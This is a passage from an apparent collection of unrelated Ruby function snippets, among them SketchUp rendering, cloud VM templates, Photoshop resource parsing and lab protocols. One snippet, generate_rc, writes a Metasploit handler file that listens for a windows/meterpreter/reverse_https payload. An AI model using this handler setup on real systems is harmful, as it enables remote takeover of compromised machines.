\"Starting Image generation : %s\"%(@selected_room_name)\n\n #Pre Operation things\n exception_raised = false\n #-----------Get previous stuffs--------------------------\n curr_active_layer = Sketchup.active_model.active_layer\n edge_render_option = Sketchup.active_model.rendering_options[\"EdgeColorMode\"]\n active_camera = Sketchup.active_model.active_view.camera\n cam_perspective = Sketchup.active_model.active_view.camera.perspective?\n unit_display = Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]\n\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=true\n Sketchup.active_model.active_view.camera.perspective=false\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = 0\n \n begin\n # puts \"--------------------------hide\"\n Sketchup::active_model::start_operation \"RIO Image Generation\"\n DP::hide_all_entities\n\n view_details_h = get_floor_view_comps\n \n view_details_h[\"top_view\"] = {:top_room_image => get_top_room_image}\n rescue Exception => e\n # rerror \"Exception raised during image generation\"\n raise e\n Sketchup.active_model.abort_operation\n exception_raised = true\n ensure\n DP::unhide_all_entities\n\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = edge_render_option\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=unit_display\n Sketchup.active_model.active_view.camera=active_camera\n Sketchup.active_model.active_view.camera.perspective=cam_perspective\n Sketchup.active_model.active_view.zoom_extents\n Sketchup.active_model.commit_operation\n end\n\n end_time = Time.now\n # puts \"Time taken : #{end_time - start_time}\"\n result = exception_raised ? {} : view_details_h\n end", "def use_technology_preview=(_arg0); end", "def page_image_template\n \"#{slug}-p{page}-{size}.gif\"\n end", "def virtual_guest_template\n template = {\n \"startCpus\" => @cores.to_i,\n \"maxMemory\" => @memory.to_i * 1024, # we let the user specify memory in GB, but the API expects maxMemory in MB.\n \"hostname\" => @hostname,\n \"domain\" => @domain,\n\n # Note : for the values below, we want to use the constants \"true\" and \"false\" not nil\n # the nil value (while false to Ruby) will not translate to XML properly\n \"localDiskFlag\" => !!@use_local_disk,\n \"hourlyBillingFlag\" => !!@hourly\n }\n\n template['dedicatedAccountHostOnlyFlag'] = true if @dedicated_host_only\n template['privateNetworkOnlyFlag'] = true if @private_network_only\n\n template['datacenter'] = {\"name\" => @datacenter.name} if @datacenter\n template['userData'] = [{'value' => @user_metadata}] if @user_metadata\n template['networkComponents'] = [{'maxSpeed'=> @max_port_speed}] if @max_port_speed\n template['postInstallScriptUri'] = @provision_script_URI.to_s if @provision_script_URI\n template['postInstallScriptUri'] = @provision_script_uri.to_s if @provision_script_uri\n template['primaryNetworkComponent'] = { \"networkVlan\" => { \"id\" => @public_vlan_id.to_i } } if @public_vlan_id\n template['primaryBackendNetworkComponent'] = { \"networkVlan\" => {\"id\" => @private_vlan_id.to_i } } if @private_vlan_id\n template['sshKeys'] = @ssh_key_ids.collect { |ssh_key_id| {'id'=> ssh_key_id.to_i } } if @ssh_key_ids\n template['supplementalCreateObjectOptions'] = @supplementalCreateObjectOptions if @supplementalCreateObjectOptions\n\n if @image_template\n template['blockDeviceTemplateGroup'] = {\"globalIdentifier\" => @image_template.global_id}\n elsif @os_reference_code\n template['operatingSystemReferenceCode'] = @os_reference_code\n end\n\n if @disks && !@disks.empty?\n template['blockDevices'] = []\n\n # According to the documentation for +createObject+,\n # device number 1 is reserved for the SWAP disk of the computing instance.\n # So we assign device 0 and then assign the rest starting at index 2.\n @disks.each_with_index do |disk, index|\n device_id = (index >= 1) ? index + 1 : index\n template['blockDevices'].push({\"device\" => \"#{device_id}\", \"diskImage\" => {\"capacity\" => disk}})\n end\n end\n\n template\n end", "def optipng(content)\n input = Tempfile.new([SecureRandom.hex(16), \".png\"])\n output = Tempfile.new([SecureRandom.hex(16), \".png\"])\n begin\n raise PngError, \"optipng not found in PATH=#{ENV['PATH']}\" unless which(\"optipng\")\n # Make sure the files are in the right state before we run the shell process\n output_path = output.to_path\n input_path = input.to_path\n input.write(content)\n input.close\n output.close\n cmd = \"optipng -quiet -force -clobber -out #{output_path} #{input_path} \"\n `#{cmd}`\n if $?.exitstatus != 0\n raise \"Failed to execute optipng: #{cmd}\"\n end\n File.read output_path\n ensure\n input.unlink\n output.unlink\n end\n end", "def get_rand_circuit(name=\"circvit\")\n \n name=name.upcase.scan(/[A-Z]/).join.scan(/[^U]/).join.split(//)\n \n \n family= %w{will belief desire}\n family=family.shuffle\n \n fill = Magick::HatchFill.new(\"Transparent\", \"LightGreen\")\n \n i = Magick::ImageList.new \n i.new_image(333, 333, fill){ self.background_color = \"Transparent\" }\n gc = Magick::Draw.new\n \n \n gc.gravity(Magick::CenterGravity)\n gc.stroke(\"#33cc33\")\n gc.fill(\"#222222\")\n gc.stroke_width(20)\n gc.circle(167, 167, 167, 20)\n gc.stroke(\"#3333cc\")\n gc.fill(\"transparent\")\n gc.stroke_width(2)\n gc.circle(167, 167, 167, 25)\n gc.circle(167, 167, 167, 15)\n gc.circle(167, 167, 167, 22)\n gc.circle(167, 167, 167, 17)\n gc.draw(i)\n\n (0..name.length-1).each do |n|\n i.new_image(333, 333){ self.background_color = \"Transparent\" }\n gc = Magick::Draw.new \n gc.stroke(\"transparent\")\n gc.fill(\"transparent\")\n \n gc.pointsize = (52 + (rand(23)) )\n \n gc.gravity(Magick::CenterGravity)\n f=rand(3)\n gc.font= \"#{Rails.root}/app/assets/fonts/akho#{family[f]}.ttf\" \n gc.text((-rand(72) + rand(72)), (-rand(72) + rand(72)), name[n]).rotate(rand(360))\n gc.fill('red')\n gc.text((-rand(72) + rand(72)), (-rand(72) + rand(72)), name[n]).rotate(rand(360))\n gc.draw(i)\n \n end\n \n \n @Circuit=i.flatten_images\n @Circuit.format = 'png'\n \n \n @circuit_file = \"#{Rails.root}/tmp/circuit-#{name.join}-#{Time.now.to_i}-#{Process.pid}.png\"\n \n \n @Circuit.write('png:'+ @circuit_file)\n \n \n \n \n\n @data_uri = Base64.encode64(@Circuit.to_blob).gsub(/\\n/, \"\") \n @image_tag = '<img alt=\"preview\" src=\"data:image/png;base64,%s\">' % @data_uri\n \n end", "def rit_plate!(layout_name, instance_name, plate_name)\n RitClient::Plate.get(layout_name, instance_name, plate_name, nil) # session[:preview_time]\n end", "def generate_compute(compute_instancetype, compute_imageid)\n compute_instancename = UUIDTools::UUID.random_create\n raw_template = \"\"\n File.open(COMPUTE_TEMPLATE) { |f| raw_template = f.readlines }\n template = ERB.new(raw_template.join(\"\\n\"))\n return [compute_instancename, template.result(binding)]\nend", "def default_image\n if instance.platform.name =~ /^(.*)-([^-]*)$/\n \"#{$1}:#{$2}\"\n else\n instance.platform.name\n end\n end", "def editor_model_background_path(work)\n case work.product_key\n when 'iphone_5_cases'\n image_path 'editor/model/i5s&5_fullsize.png'\n when 'iphone_4_cases'\n image_path 'editor/model/i4s&4_fullsize.png'\n when 'ipad_mini_cases'\n image_path 'editor/model/ipadmini_fullsize.png'\n when 'ipad_mini_covers'\n image_path 'editor/model/ipadminicover_fullsize.png'\n when 'ipad_air_cases'\n image_path 'editor/model/ipadaircover_fullsize.png'\n when 'iphone_6_cases'\n image_path 'editor/model/iphone6_fullsize.png'\n when 'iphone_6plus_cases'\n image_path 'editor/model/iphone6plus_fullsize.png'\n when 'clocks'\n image_path 'editor/model/clock_fullsize.png'\n when 'easycard_smartcards'\n image_path 'editor/model/easycard_fullsize.png'\n when 'mugs'\n image_path 'editor/model/mug_fullsize.png'\n else\n 'Editor initial error!'\n end\n end", "def template\n with_template_factory do |template_factory|\n template = template_factory.build('Test', {})\n puts Graphics::Debugger.new(template).debug\n end\n end", "def pbTrainerHeadFile(type)\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Pictures/mapPlayer%s\",getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Pictures/mapPlayer%03d\",type)\n end\n return bitmapFileName\nend", "def pbTrainerHeadFile(type)\n return nil if !type\n bitmapFileName = sprintf(\"Graphics/Pictures/mapPlayer%s\",getConstantName(PBTrainers,type)) rescue nil\n if !pbResolveBitmap(bitmapFileName)\n bitmapFileName = sprintf(\"Graphics/Pictures/mapPlayer%03d\",type)\n end\n return bitmapFileName\nend", "def find_normal_image\n return \"Pictures/pcn%04d.png\" % (80 + id)\n end", "def generate(label)\n package = Package.new\n package.load!\n filename = File.join(package.operations_dir, package.operation_name(label))\n template('operation.rb.erb', filename)\n\n rescue Package::MetadataNotFound\n say \"#{package.script_path} not found\", :red\n say \"You may want to create a new sysops project first\"\n exit 1\n end", "def modelo_carne_load_background(doc, margin_bottom)\n template_path = File.join(File.dirname(__FILE__), '..', '..', 'arquivos', 'templates', 'modelo_carne.eps')\n raise 'Não foi possível encontrar o template. Verifique o caminho' unless File.exist?(template_path)\n\n doc.image template_path, x: 1, y: margin_bottom\n end", "def imagemagick7?; end", "def use_spectrophotometer\n show do\n title \"Prepare Spectrophotometer\"\n \n note \"On the Spectrophotometer laptop, if the program isn't open, click on nanodrop 2000.\"\n image NANODROP_2000\n note \"Click on Cell Cultures.\"\n note \"Click on 'no' when prompted to load last workbook and append new data to it.\"\n note \"Click ok.\"\n end\n end", "def pc(filename, _hue = 0)\n load_image(@pc_cache, filename, PC_Path, @pc_data)\n end", "def generate_matchfile_content(template: nil)\n project = UI.input(\"What is your GitLab Project (i.e. gitlab-org/gitlab): \")\n\n return \"gitlab_project(\\\"#{project}\\\")\"\n end", "def help_image(method_type)\n select_from_hash_array(TRANSACTION_METHODS, :help_image, :type => method_type.to_sym)\n end", "def help_image(method_type)\n select_from_hash_array(TRANSACTION_METHODS, :help_image, :type => method_type.to_sym)\n end", "def convert_image(catalog_vapp_template, account_name)\n name = catalog_vapp_template['name']\n #much fudging ensues\n #arch = name.scan(/(36|24).bit/).first\n #k enuf o'that now!\n arch = \"n/a\" #Leaving out entirely as we don't get one from terremark (could parse but its a fudge)\n Image.new( {\n :id => catalog_vapp_template['href'].split('/').last,\n :name => catalog_vapp_template['name'],\n :architecture => arch,\n :owner_id => account_name,\n :description => catalog_vapp_template['name']\n })\n end", "def ressources_descriptions\n {\n 1000 => {\n name: \"PS2.0 mode data\",\n parse: lambda {\n {\n channels: BinData::Uint16be.read(@stream).value,\n rows: BinData::Uint16be.read(@stream).value,\n cols: BinData::Uint16be.read(@stream).value,\n depth: BinData::Uint16be.read(@stream).value,\n mode: BinData::Uint16be.read(@stream).value\n }\n }\n },\n 1001 => {\n name: \"Macintosh print record\"\n },\n 1003 => {\n name: \"PS2.0 indexed color table\"\n },\n 1005 => {\n name: \"ResolutionInfo\"\n },\n 1006 => {\n name: \"Names of the alpha channels\"\n },\n 1007 => {\n name: \"DisplayInfo\"\n },\n 1008 => {\n name: \"Caption\",\n parse: lambda { { caption: Types::PascalString.new.read(@stream) } }\n },\n 1009 => {\n name: \"Border information\",\n parse: lambda {\n {\n border_width: BinData::FloatBe.read(@stream).value,\n unit: lambda {\n case BinData::Uint16be.read(@stream).value\n when 1\n \"inches\"\n when 2\n \"cm\"\n when 3\n \"points\"\n when 4\n \"picas\"\n when 5\n \"columns\"\n end\n }\n }\n }\n },\n 1010 => {\n name: \"Background color\"\n },\n 1011 => {\n name: \"Print flags\",\n parse: lambda {\n start = @stream.tell\n {\n labels: BinData::Uint8be.read(@stream).value,\n crop_marks: BinData::Uint8be.read(@stream).value,\n color_bars: BinData::Uint8be.read(@stream).value,\n registration_marks: BinData::Uint8be.read(@stream).value,\n negative: BinData::Uint8be.read(@stream).value,\n flip: BinData::Uint8be.read(@stream).value,\n interpolate: BinData::Uint8be.read(@stream).value,\n caption: BinData::Uint8be.read(@stream).value,\n print_flags: BinData::Uint8be.read(@stream).value\n }\n\n @stream.seek(start + @size)\n }\n },\n 1012 => {\n name: \"Grayscale/multichannel halftoning info\"\n },\n 1013 => {\n name: \"Color halftoning info\"\n },\n 1014 => {\n name: \"Duotone halftoning info\"\n },\n 1015 => {\n name: \"Grayscale/multichannel transfer function\"\n },\n 1016 => {\n name: \"Color transfer functions\"\n },\n 1017 => {\n name: \"Duotone transfer functions\"\n },\n 1018 => {\n name: \"Duotone image info\"\n },\n 1019 => {\n name: \"B&W values for the dot range\",\n parse: lambda { { b_w_values_for_the_dot_range: BinData::Uint16be.read(@stream).value } }\n },\n 1021 => {\n name: \"EPS options\"\n },\n 1022 => {\n name: \"Quick Mask info\",\n parse: lambda {\n {\n quick_mask_channel_id: BinData::Uint16be.read(@stream).value,\n was_mask_empty: BinData::Uint8be.read(@stream).value\n }\n }\n },\n 1024 => {\n name: \"Layer state info\",\n parse: lambda { { layer_state_info: BinData::Uint16be.read(@stream).value } }\n },\n 1025 => {\n name: \"Working path\"\n },\n 1026 => {\n name: \"Layers group info\",\n parse: lambda {\n start = @stream.tell\n\n results = []\n\n while @stream.tell < start + @size do\n info = BinData::Uint16be.read(@stream).value\n results.push(info)\n end\n\n { layers_group_info: results }\n }\n },\n 1028 => {\n name: \"IPTC-NAA record (File Info)\"\n },\n 1029 => {\n name: \"Image mode for raw format files\"\n },\n 1030 => {\n name: \"JPEG quality\"\n },\n 1032 => {\n name: \"Grid and guides info\"\n },\n 1033 => {\n name: \"Thumbnail resource\"\n },\n 1034 => {\n name: \"Copyright flag\",\n parse: lambda { { copyright_flag: @stream.read(@size).unpack(\"C#{@size}\") } }\n },\n 1035 => {\n name: \"URL\",\n parse: lambda { { url: @stream.read(@size) } }\n },\n 1036 => {\n name: \"Thumbnail resource\"\n },\n 1037 => {\n name: \"Global Angle\"\n },\n 1038 => {\n name: \"Color samplers resource\"\n },\n 1039 => {\n name: \"ICC Profile\"\n },\n 1040 => {\n name: \"Watermark\",\n parse: lambda { { watermark: BinData::Uint8be.read(@stream).value } }\n },\n 1041 => {\n name: \"ICC Untagged\"\n },\n 1042 => {\n name: \"Effects visible\",\n parse: lambda { { effects_visible: BinData::Uint8be.read(@stream).value } }\n },\n 1043 => {\n name: \"Spot Halftone\",\n parse: lambda {\n version = BinData::Uint32be.read(@stream).value\n length = BinData::Uint32be.read(@stream).value\n\n {\n version: version,\n data: @stream.read(length)\n }\n }\n },\n 1044 => {\n name: \"Document specific IDs seed number\",\n parse: lambda { { document_specific_ids_seed_number: BinData::Uint32be.read(@stream).value } }\n },\n 1045 => {\n name: \"Unicode Alpha Names\"\n },\n 1046 => {\n name: \"Indexed Color Table Count\",\n parse: lambda { { indexed_color_table_count: BinData::Uint16be.read(@stream).value } }\n },\n 1047 => {\n name: \"Transparent Index\",\n parse: lambda { { transparancy_index: BinData::Uint16be.read(@stream).value } }\n },\n 1049 => {\n name: \"Global Altitude\",\n parse: lambda { { global_altitude: BinData::Uint32be.read(@stream).value } }\n },\n 1050 => {\n name: \"Slices\"\n },\n 1051 => {\n name: \"Workflow URL\",\n parse: lambda { { workflow_url: Types::PascalString.new.read(@stream) } }\n },\n 1052 => {\n name: \"Jump To XPEP\",\n parse: lambda {\n major_version = BinData::Uint16be.read(@stream).value\n minor_version = BinData::Uint16be.read(@stream).value\n count = BinData::Uint32be.read(@stream).value\n\n xpep_blocks = []\n\n i = 0\n\n while i <= count do\n block = {\n size: BinData::Uint32be.read(@stream).value,\n key: @stream.read(4)\n }\n\n if block[:key] == \"jtDd\"\n block[:dirty] = BinData::Bit1.read(@stream).value\n else\n block[:mod_date] = BinData::Uint32be.read(@stream).value\n end\n\n xpep_blocks.push(block)\n\n i += 1\n end\n\n { major_version: major_version,\n minor_version: minor_version,\n xpep_blocks: xpep_blocks\n }\n }\n },\n 1053 => {\n name: \"Alpha Identifiers\"\n },\n 1054 => {\n name: \"URL List\"\n },\n 1057 => {\n name: \"Version Info\"\n },\n 1058 => {\n name: \"EXIF data 1\"\n },\n 1059 => {\n name: \"EXIF data 3\"\n },\n 1060 => {\n name: \"XMP metadata\"\n },\n 1061 => {\n name: \"Caption digest\"\n },\n 1062 => {\n name: \"Print scale\"\n },\n 1064 => {\n name: \"Pixel Aspect Ratio\"\n },\n 1065 => {\n name: \"Layer Comps\"\n },\n 1066 => {\n name: \"Alternate Duotone Colors\"\n },\n 1067 => {\n name: \"Alternate Spot Colors\"\n },\n 1069 => {\n name: \"Layer Selection ID(s)\"\n },\n 1070 => {\n name: \"HDR Toning information\"\n },\n 1071 => {\n name: \"Print info\"\n },\n 1072 => {\n name: \"Layer Groups Enabled\"\n },\n 1073 => {\n name: \"Color samplers resource\"\n },\n 1074 => {\n name: \"Measurement Scale\"\n },\n 1075 => {\n name: \"Timeline Information\"\n },\n 1076 => {\n name: \"Sheet Disclosure\"\n },\n 1077 => {\n name: \"DisplayInfo\"\n },\n 1078 => {\n name: \"Onion Skins\"\n },\n 1080 => {\n name: \"Count Information\"\n },\n 1082 => {\n name: \"Print Information\"\n },\n 1083 => {\n name: \"Print Style\"\n },\n 1084 => {\n name: \"Macintosh NSPrintInfo\"\n },\n 1085 => {\n name: \"Windows DEVMODE\"\n },\n 2999 => {\n name: \"Name of clipping path\"\n },\n 7000 => {\n name: \"Image Ready variables\"\n },\n 7001 => {\n name: \"Image Ready data sets\"\n },\n 8000 => {\n name: \"Lightroom workflow\",\n parse: lambda { { lightroom_workflow: 1 } }\n\n },\n 10000 => {\n name: \"Print flags info\",\n parse: lambda {\n version = BinData::Uint16be.read(@stream).value\n center_crop_marks = BinData::Uint8be.read(@stream).value\n BinData::Skip.new(length: 1).read(@stream)\n bleed_width = BinData::Uint32be.read(@stream).value\n bleed_scale = BinData::Uint16be.read(@stream).value\n\n {\n version: version,\n center_crop_marks: center_crop_marks,\n bleed_width: bleed_width,\n bleed_scale: bleed_scale\n }\n }\n }\n }\n end", "def create_md tool\n \n original = tool[1].split(\"\\n\")\n new = []\n note = false\n\n # Cambia las rutas y < y > por código HTML\n def diple l\n return l.gsub('de +++YAML+++ en <http://pecas.cliteratu.re>', 'de [+++YAML+++](yaml.html)')\n .gsub('de JavaScript en <http://pecas.cliteratu.re>', 'de [JavaScript](js.html)')\n .gsub('Lista de acrónimos: <https://github.com/tesseract-ocr/tesseract/blob/master/doc/tesseract.1.asc#languages>', '[Lista de acrónimos](https://github.com/tesseract-ocr/tesseract/blob/master/doc/tesseract.1.asc#languages)')\n .gsub('<','&lt;').gsub('>','&gt;')\n end\n\n # Agrega versalitas\n def smallcaps l\n return l.gsub(/([A-Z]{3,})/, '+++\\1+++')\n end\n\n # Cambia comillas por sintaxis para línea de código\n def to_code l\n return l.gsub(/«(.+?)»/, '`\\1`')\n end\n\n # Añade líneas de código en las opciones\n def to_code_option l\n return l.gsub(/^(\\S+)/, '`\\1`')\n end\n\n new.push('# ' + $l_g_pc_docs_creation + '`' + tool[0] + '`')\n\n original.each_with_index do |l, i|\n\n l = to_code(diple(smallcaps(l)))\n\n if l =~ /^\\S/\n # Encabezados 2\n if l !~ /^Nota/ && i != 1\n new.push('## ' + l + \"\\n\\n\")\n # Párrafos\n else\n # Notas\n if l =~ /^Nota/\n if !note\n new.push(\"--- {.espacio-arriba3}\\n\\n\")\n note = true\n new.push(l + ' {.espacio-arriba3}')\n else\n new.push(l + ' {.espacio-arriba1 .sin-sangria}')\n end \n # Descripción\n else\n # Esto servirá para crear «herramientas.md»\n $tools_md[\"#{tool[0]}\"] = [tool[0], l.gsub(/^\\S+\\s+/, '')]\n new.push(l)\n end\n end\n else\n if l.strip != ''\n l = l.strip\n\n # Opciones de Pecas\n if l =~ /^-/\n new.push('* ' + to_code_option(l))\n # Comandos de Pecas\n elsif l =~ /^pc-/\n new.push('```')\n new.push(l)\n new.push('```')\n # Explicaciones\n elsif l =~ /^[A-Z]/\n new.push(\"\\n\" + l)\n # Dependencias / Tipos\n else\n # Evita que se quede como línea de código el tipo y su descripción\n l_final = []\n l.split(/\\s+/).each_with_index do |ll, i|\n # Solo la primera palabra se va como código\n if i == 0\n l_final.push('* `' + ll + '`')\n # El resto de las palabras se quedan como texto\n else\n l_final.push(ll)\n end\n end\n new.push(l_final.join(' '))\n end\n # Líneas en blanco\n else\n new.push(l)\n end\n end\n end\n\n\tarchivo = File.new(Dir.pwd + '/md/' + tool[0] + '.md', 'w:UTF-8')\n\tarchivo.puts new\n\tarchivo.close\nend", "def choose_image\n \"banners/#{ rand(35) + 1 }.jpg\"\n end", "def icone_plmtype(plmtype)\n\t\tret = \"/images/#{plmtype}.png\"\n\t\tunless File.exist?(\"#{config.root}/public#{ret}\")\n\t\t\tret = \"\"\n\t\tend\n\t\tret\n\tend", "def choose_generation()\n generate_selection()\n\n # Synchronuously (pause the init code) show the selection applet.\n System.run(LOADER, \"/applets/boot-selection.mrb\")\n\n # Read data from the user\n data = JSON.parse(File.read(\"/run/boot/choice\"))\n generation = data[\"generation\"]\n @use_generation_kernel = data[\"use_generation_kernel\"]\n\n # Why \"$default\" rather than passing a path?\n # Because there may be no generations folder. It's easier to cheat and\n # use \"$default\" and rely on the existing default \"maybe rehydrate\"\n # codepath.\n if generation == \"$default\"\n default_generation()\n else\n generation\n end\n end", "def prerm\n @package.get_script :prerm\n end", "def provision_plates(operations:, object_type:)\n operations.each do |op|\n collection = make_new_plate(object_type, label_plate: true)\n op.output(PLATE).set(collection: collection)\n\n set_parts(\n collection: collection,\n group_size: op.temporary[:options][:group_size],\n method: op.temporary[:options][:layout_method],\n sample: op.output(PLATE).sample\n )\n\n inspect op.output(PLATE).collection.matrix if debug\n end\n end", "def register_modality_to_t1\n # For ASL, we ill use the PD image because it's information is closer to\n # anatomical than the computed flow maps, bringing along the flow maps. \n\n # system(\"spm8\")\n # Click Coregister - Estimate and Reslice\n # Reference Image: Select the BRAVO\n # Source Image: Select the PD Map\n # Other Images: Select the ASL Map\n # Use other defaults (NMI, etc.) \n end", "def p4_platform_label\n case RbConfig::CONFIG[\"target_os\"].downcase\n when /nt|mswin|mingw|cygwin|msys/\n # Ruby on windows is only MinGW via Rubyinstaller.org, though this may\n # not work on all rubies.\n # There are too many permutations of Windows p4api, to automate.\n raise 'Automatic fetching of p4api from perforce FTP is not supported on Windows'\n when /darwin19|darwin[2-9][0-9]/\n \"macosx1015#{p4_cpu(:darwin)}\"\n when /darwin/ \n \"darwin90#{p4_cpu(:darwin)}\"\n when /solaris/\n \"solaris10#{p4_cpu(:solaris)}\"\n when /linux/\n \"linux26#{p4_cpu(:linux)}\" \n end\nend", "def generate_rc\n\tputs \"[*]\".green + \"\\tCreating msf resource file\"\n\topen(DEF_RC_FILE, 'w') { |f|\n\t\tf.puts \"use exploit/multi/handler\"\n\t\tf.puts \"set PAYLOAD windows/meterpreter/reverse_https\"\n\t\tf.puts \"set EXITFUNC thread\"\n\t\tf.puts \"set LPORT #{$port}\"\n\t\tf.puts \"set LHOST #{DEF_INT_IP}\"\n\t\tf.puts \"set ExitOnSession false\"\n\t\tf.puts \"exploit -j -z\"\n\t}\nend", "def template\n if @client ==\"ORBOGRAPH\" || @client == \"ORB TEST FACILITY\"\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_'+@batch_type+'_template.xml.erb')\n else\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_template.xml.erb')\n end\n end", "def generate( type, *args )\n puts \"==> generate >#{type}< - with #{args.size} part(s) #{args.inspect}\"\n\n character = @chars[ type ]\n\n img = nil ## (by default) auto-derive width x height dimension from first image\n\n character.each_with_index do |(part_key, part),i|\n num = args[i]\n\n ## todo/check - double check if part required set to false - why? why not?\n next if num == 0 ## note: skip part if index is 0!!!\n\n attributes = if part.is_a?( Hash )\n part[:attributes]\n else ## assume array - \"inline\" compact attribute format\n part\n end\n\n attribute = attributes[ num-1 ] ## note: num starts counting at 1 (sub 1 for zero-based array index)\n raise ArgumentError, \"no >#{part_key}< part found for index #{num}; sorry\" if attribute.nil?\n\n print \"#{i} #{part_key} => #{num}\"\n print \" - #{attribute[:name]}\" if attribute.is_a?( Hash ) && attribute.has_key?( :name )\n print \"\\n\"\n\n\n img_part = if attribute.is_a?( Integer ) ## assume filename with num (as .png)\n path = \"#{@rootdir}/#{type}/#{part_key}/#{part_key}#{num}.png\"\n img_part = Image.read( path )\n elsif attribute.is_a?( Hash )\n if attribute.has_key?( :design )\n path = \"#{@rootdir}/#{attribute[:design]}.txt\"\n txt = File.open( path, 'r:utf-8') {|f| f.read }\n img_part = Image.parse( txt, colors: attribute[:colors] )\n else ## assume for now has key :path\n path = \"#{@rootdir}/#{attribute[:path]}.png\"\n img_part = Image.read( path )\n end\n else\n puts \"!! ERROR:\"\n pp part\n raise ArgumentError, \"unknown part data type; expected Integer|Hash\"\n end\n ## note: if (very) first part - auto-create empty image with size/dimensions from part\n img = Image.new( img_part.width, img_part.height ) if i==0\n img.compose!( img_part )\n end\n\n img\nend", "def generate_profile\n ErbTemplate.render_to_if_changed('apparmor/profile', {\n name: profile_name,\n namespace: namespace,\n ct: ct,\n all_combinations_of: ->(arr) do\n ret = []\n arr.count.times { |i| ret.concat(arr.combination(i+1).to_a) }\n ret\n end,\n }, profile_path)\n end", "def spotimage\n\n if ! @commandline.argument('first').empty? && files = findfiles() then\n colorname = @commandline.option('colorname')\n colorspec = @commandline.option('colorspec')\n if colorname && ! colorname.empty? && colorspec && ! colorspec.empty? then\n files.each do |filename|\n s = SpotColorImage.new(self)\n s.registercolor(colorspec,colorname)\n s.convertgrayimage(filename)\n end\n else\n report(\"provide --colorname=somename --colorspec=c,m,y,k\")\n end\n else\n report(\"provide filename (png, jpg, pdf)\")\n end\n\n end", "def image(name)\n File.expand_path(\"tex/#{name}\", File.dirname(__FILE__))\nend", "def get_and_label_new_plate(plate)\n show do\n title 'Get and Label Working Plate'\n note \"Get a <b>#{plate.object_type.name}</b> and\n label it ID: <b>#{plate.id}</b>\"\n end\n end", "def display_plate(outname, ops, stamp_columns=false)\n plate = Array.new(8) { Array.new(12, \"-\") }\n if stamp_columns\n ops.each do |op|\n col = op.output(outname).column\n background = BACKGROUND_COLORS[col]\n content = \"#{(\"A\".ord.to_i).chr}#{col+1}\"\n plate[0][col] = {content: content, style: {background: background} }\n (1..stamp_columns - 1).each do |row|\n plate[row][col] = { content: \" \", style: { background: background } }\n end\n end\n else\n ops.each do |op|\n row = op.output(outname).row\n col = op.output(outname).column\n plate[row][col] = {content: \"#{(row + \"A\".ord.to_i).chr}#{col+1}\", style: {background: BACKGROUND_COLORS[0] } }\n end\n end\n\n return plate\n end", "def label_specification\n { 'LabelFormatType' => 'COMMON2D',\n 'ImageType' => 'PNG',\n 'LabelStockType' => 'PAPER_4X6',\n :order! => ['LabelFormatType', 'ImageType', 'LabelStockType'] }\n end", "def create_image_from_screenshot\n type = @desktop_image.split(/\\./).last\n `screencapture -t#{type} -x #@desktop_image`\n end", "def cfs_kit_launch_app(screen, app)\n\n\n if (app == \"UPDATE_TUTORIAL\")\n # An exception will report any errors \n if cfs_kit_create_tutorial_screen\n prompt (\"Successfuly created tutorial screen file #{tutorial_scr_file}\\nusing #{tutorial_def_file}\")\n end\n elsif (app == \"PROTO_APPP\")\n #TODO - Investigate generic text table editor or tutorial screen\n\t Cosmos.run_process(\"ruby lib/OskCfeFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/cfs_kit/file_server/cfe_es_syslog.dat'\")\n\t #Cosmos.run_process(\"ruby lib/OskTxtFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/test.json'\")\n #require 'osk_tbl_editor'\n #Cosmos.run_process(\"ruby lib/OskTblEditor\")\n\t #require 'cfs_fcx_cmdgen'\n #Cosmos.run_process(\"ruby lib/CfsFcxCmdGen\")\n #Cosmos.run_process(\"ruby tools/ConfigEditor\")\n #Cosmos::OskTblEditor.run\n #Cosmos.run_cosmos_tool('ConfigEditor')\n\n elsif (app == \"TUTORIAL\")\n cfs_kit_launch_tutorial_screen\n end\n\nend", "def label_and_parafilm\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || op.temporary[:re_incubate] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm.join(\",\")}\"\n note \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n note \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def generate_PIC(manifest, stc = nil)\n\t\tcase manifest.mail_class\n\t\twhen 'LC'\n\t\t\t@tracking_number = \"LX600#{rand(999999).to_s.rjust(6, '0')}US\"\n\t\t\t@barcode_construct_code = 'I01'\n\t\twhen 'PG'\n\t\t\t@tracking_number = \"83500#{rand(99999).to_s.rjust(5, '0')}\"\n\t\t\t@barcode_construct_code = 'G01'\n\t\twhen 'IE'\n\t\t\t@tracking_number = \"EI100#{rand(999999).to_s.rjust(6, '0')}US\"\n\t\t\t@barcode_construct_code = 'I01'\n\t\twhen 'CP'\n\t\t\t@tracking_number = \"CB600#{rand(999999).to_s.rjust(6, '0')}US\"\n\t\t\t@barcode_construct_code = 'I01'\n\t\tend\n\tend", "def pcb_name\n \"#{self.pcb_prefix}-#{self.pcb_number}-#{self.pcb_dash_number}\"\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n if label_plate\n show do\n title 'Get and Label new Plate'\n note get_and_label_new_item(working_plate) if label_plate\n end\n end\n working_plate\n end", "def wizard_archtype\n\t\t@str = 3+rand(1..5)\n\t\t@vit = 3+rand(1..7)\n\t\t@hp = (@str/2 + 2*@vit + 8)\n\t\t@ma = 3+rand(5..15)\n\t\t@res = 3+rand(5..17)\n\t\t@mp = (@ma/2 + 2*@res + 7)\n\t\t@dex = 3+rand(1..7)\n\t\t@job = \"Wizard\"\n\tend", "def playbook(pb)\n # TODO if debug then puts w/ colour\n `#{config.to_s \"#{BIN} #{pb}\"}`\n end", "def use_label_printer\n show do\n title \"Use label printer to label new 1.5 mL 